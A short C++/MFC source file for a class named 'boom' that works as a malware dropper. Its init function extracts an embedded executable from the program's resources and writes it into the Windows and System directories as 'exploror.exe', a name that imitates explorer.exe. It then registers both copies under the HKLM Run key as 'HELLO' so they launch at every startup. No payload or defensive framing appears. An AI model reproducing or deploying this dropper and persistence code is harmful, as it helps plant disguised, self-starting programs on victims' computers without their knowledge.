#include"stdafx.h"
#include"boom.h"

void Release(int RES_ID,CString cc);
void SetStringValue(HKEY MainKey,CString SubKey,CString Entry,CString Value);

void boom::init(int RES_ID)
{
	char WindowsDirectory[256];
	char SystemDirectory[256];
	char AppName[]="exploror.exe";
	CString cc;
	GetWindowsDirectory(WindowsDirectory,256);
	GetSystemDirectory(SystemDirectory,256);
	cc.Format("%s\\%s",WindowsDirectory,AppName);
	SetStringValue(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run","HELLO",cc);
	Release(RES_ID,cc);
	cc.Format("%s\\%s",SystemDirectory,AppName);
	SetStringValue(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run","HELLO'",cc);
	Release(RES_ID,cc);
}

void SetStringValue(HKEY MainKey,CString SubKey,CString Entry,CString Value)
{
	HKEY hKey;
	int s=strlen(Value);
	unsigned char *v;
	v=(unsigned char *)malloc(sizeof(unsigned char)*s);
	for(int i=0;i<s;i++)v[i]=Value[i];
	RegOpenKeyEx(MainKey,SubKey,NULL, KEY_WRITE,&hKey);
	RegSetValueEx(hKey,Entry,0,REG_SZ,v,s);
	RegCloseKey(hKey);
	free(v);
}

void Release(int RES_ID,CString cc)
{

	HRSRC hres = FindResource(AfxGetInstanceHandle(), MAKEINTRESOURCE(RES_ID), "EXE");
	if (hres != NULL)
	{
		HGLOBAL hGlobal = LoadResource(AfxGetInstanceHandle(), hres);
		if (hGlobal != NULL)
		{
			LPVOID pRes = LockResource(hGlobal);
			DWORD dwSize = SizeofResource(AfxGetInstanceHandle(), hres);
			try
			{
				CFile file;
				file.Open(cc, CFile::modeCreate|CFile::modeWrite);
				file.Write(pRes, dwSize);
				file.Close();
			}
			catch(CFileException *e)
			{
				e->ReportError();
				delete e;
			}
		}
	}
}